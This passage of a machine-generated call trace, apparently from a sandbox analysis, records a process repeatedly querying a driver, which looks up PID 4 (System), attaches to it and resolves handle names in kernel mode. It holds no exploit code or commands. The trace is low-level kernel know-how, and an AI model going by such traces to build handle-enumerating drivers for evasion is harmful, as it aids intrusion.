PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.453] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8011864580, HandleInformation=0x0) returned 0x0 [0119.453] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.453] PsReleaseProcessExitSynchronization () returned 0x2 [0119.453] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.453] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.454] ObfDereferenceObject (Object=0xfffffa8011864580) returned 0x1 [0119.454] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.454] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.454] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.454] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.454] PsAcquireProcessExitSynchronization () returned 0x0 [0119.454] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.454] ObReferenceObjectByHandle (in: Handle=0xffffffff800004f8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800268c760, HandleInformation=0x0) returned 0x0 [0119.454] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.454] PsReleaseProcessExitSynchronization () returned 0x2 [0119.454] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.454] ObQueryNameString (in: Object=0xfffffa800268c760, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.454] ObfDereferenceObject (Object=0xfffffa800268c760) returned 0x2 [0119.454] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.454] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.454] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.454] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.454] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.454] PsAcquireProcessExitSynchronization () returned 0x0 [0119.454] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.454] ObReferenceObjectByHandle (in: Handle=0xffffffff800004fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001fa6cb0, HandleInformation=0x0) returned 0x0 [0119.454] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.454] PsReleaseProcessExitSynchronization () returned 0x2 [0119.454] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.454] ObQueryNameString (in: Object=0xfffffa8001fa6cb0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.454] ObfDereferenceObject (Object=0xfffffa8001fa6cb0) returned 0x2 [0119.454] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.454] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.455] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.455] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.455] PsAcquireProcessExitSynchronization () returned 0x0 [0119.455] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.455] ObReferenceObjectByHandle (in: Handle=0xffffffff80000508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80033f79a0, HandleInformation=0x0) returned 0x0 [0119.455] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.455] PsReleaseProcessExitSynchronization () returned 0x2 [0119.455] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.455] ObQueryNameString (in: Object=0xfffffa80033f79a0, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.455] ObfDereferenceObject (Object=0xfffffa80033f79a0) returned 0x2 [0119.455] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.455] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.455] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.455] PsAcquireProcessExitSynchronization () returned 0x0 [0119.455] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.455] ObReferenceObjectByHandle (in: Handle=0xffffffff8000051c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800288ff20, HandleInformation=0x0) returned 0x0 [0119.455] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.455] PsReleaseProcessExitSynchronization () returned 0x2 [0119.455] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.455] ObQueryNameString (in: Object=0xfffffa800288ff20, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.455] ObfDereferenceObject (Object=0xfffffa800288ff20) returned 0x2 [0119.455] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.455] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.455] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.455] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.455] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.455] PsAcquireProcessExitSynchronization () returned 0x0 [0119.455] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.455] ObReferenceObjectByHandle (in: Handle=0xffffffff80000528, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002135af0, HandleInformation=0x0) returned 0x0 [0119.455] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.456] PsReleaseProcessExitSynchronization () returned 0x2 [0119.456] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.456] ObQueryNameString (in: Object=0xfffffa8002135af0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.456] ObfDereferenceObject (Object=0xfffffa8002135af0) returned 0x2 [0119.456] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.456] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.456] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.456] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.456] PsAcquireProcessExitSynchronization () returned 0x0 [0119.456] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.456] ObReferenceObjectByHandle (in: Handle=0xffffffff80000534, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003add3f0, HandleInformation=0x0) returned 0x0 [0119.456] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.456] PsReleaseProcessExitSynchronization () returned 0x2 [0119.456] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.456] ObQueryNameString (in: Object=0xfffffa8003add3f0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.456] ObfDereferenceObject (Object=0xfffffa8003add3f0) returned 0x2 [0119.456] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.456] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.456] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.456] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.456] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.456] PsAcquireProcessExitSynchronization () returned 0x0 [0119.456] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.456] ObReferenceObjectByHandle (in: Handle=0xffffffff8000053c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80019b6c20, HandleInformation=0x0) returned 0x0 [0119.456] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.456] PsReleaseProcessExitSynchronization () returned 0x2 [0119.456] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.456] ObQueryNameString (in: Object=0xfffffa80019b6c20, ObjectNameInfo=0xfffffa8001a0d044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0d044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.456] ObfDereferenceObject (Object=0xfffffa80019b6c20) returned 0x2 [0119.456] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.457] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.457] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.457] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.457] PsAcquireProcessExitSynchronization () returned 0x0 [0119.457] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.457] ObReferenceObjectByHandle (in: Handle=0xffffffff80000540, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800b97cf20, HandleInformation=0x0) returned 0x0 [0119.457] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.457] PsReleaseProcessExitSynchronization () returned 0x2 [0119.457] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.457] ObQueryNameString (in: Object=0xfffffa800b97cf20, ObjectNameInfo=0xfffffa8001a0e044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0e044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.457] ObfDereferenceObject (Object=0xfffffa800b97cf20) returned 0x2 [0119.457] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.457] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.457] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.457] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.457] PsAcquireProcessExitSynchronization () returned 0x0 [0119.457] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.457] ObReferenceObjectByHandle (in: Handle=0xffffffff80000544, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80029498a0, HandleInformation=0x0) returned 0x0 [0119.457] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.457] PsReleaseProcessExitSynchronization () returned 0x2 [0119.457] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.457] ObQueryNameString (in: Object=0xfffffa80029498a0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.457] ObfDereferenceObject (Object=0xfffffa80029498a0) returned 0x2 [0119.457] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.457] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.457] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.457] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.457] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.457] PsAcquireProcessExitSynchronization () returned 0x0 [0119.457] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.458] ObReferenceObjectByHandle (in: Handle=0xffffffff8000054c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002066f20, HandleInformation=0x0) returned 0x0 [0119.458] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.458] PsReleaseProcessExitSynchronization () returned 0x2 [0119.458] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.458] ObQueryNameString (in: Object=0xfffffa8002066f20, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.458] ObfDereferenceObject (Object=0xfffffa8002066f20) returned 0x2 [0119.458] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.458] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.458] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.458] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.458] PsAcquireProcessExitSynchronization () returned 0x0 [0119.458] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.458] ObReferenceObjectByHandle (in: Handle=0xffffffff80000550, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800254a240, HandleInformation=0x0) returned 0x0 [0119.458] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.458] PsReleaseProcessExitSynchronization () returned 0x2 [0119.458] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.458] ObQueryNameString (in: Object=0xfffffa800254a240, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.458] ObfDereferenceObject (Object=0xfffffa800254a240) returned 0x2 [0119.458] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.458] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.458] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.458] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xb6, lpOverlapped=0x0) returned 1 [0119.458] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.458] PsAcquireProcessExitSynchronization () returned 0x0 [0119.458] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.458] ObReferenceObjectByHandle (in: Handle=0xffffffff80000558, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001a2d2d0, HandleInformation=0x0) returned 0x0 [0119.458] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.458] PsReleaseProcessExitSynchronization () returned 0x2 [0119.458] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.458] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88004435508) returned 0x0 [0119.459] ObfDereferenceObject (Object=0xfffffa8001a2d2d0) returned 0x1 [0119.459] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.459] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.459] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0xe2, lpOverlapped=0x0) returned 1 [0119.459] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.459] PsAcquireProcessExitSynchronization () returned 0x0 [0119.459] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.459] ObReferenceObjectByHandle (in: Handle=0xffffffff80000560, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021af670, HandleInformation=0x0) returned 0x0 [0119.459] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.459] PsReleaseProcessExitSynchronization () returned 0x2 [0119.459] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.459] ObQueryNameString (in: Object=0xfffffa80021af670, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.459] ObfDereferenceObject (Object=0xfffffa80021af670) returned 0x2 [0119.459] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.459] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.459] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.459] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.459] PsAcquireProcessExitSynchronization () returned 0x0 [0119.459] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.459] ObReferenceObjectByHandle (in: Handle=0xffffffff8000057c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002147270, HandleInformation=0x0) returned 0x0 [0119.459] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.459] PsReleaseProcessExitSynchronization () returned 0x2 [0119.459] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.459] ObQueryNameString (in: Object=0xfffffa8002147270, ObjectNameInfo=0xfffffa8001ffa044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001ffa044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.459] ObfDereferenceObject (Object=0xfffffa8002147270) returned 0x2 [0119.459] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.459] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.459] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.459] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.459] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.459] PsAcquireProcessExitSynchronization () returned 0x0 [0119.459] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.460] ObReferenceObjectByHandle (in: Handle=0xffffffff80000580, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021194c0, HandleInformation=0x0) returned 0x0 [0119.460] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.460] PsReleaseProcessExitSynchronization () returned 0x2 [0119.460] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x18a [0119.460] ObQueryNameString (in: Object=0xfffffa80021194c0, 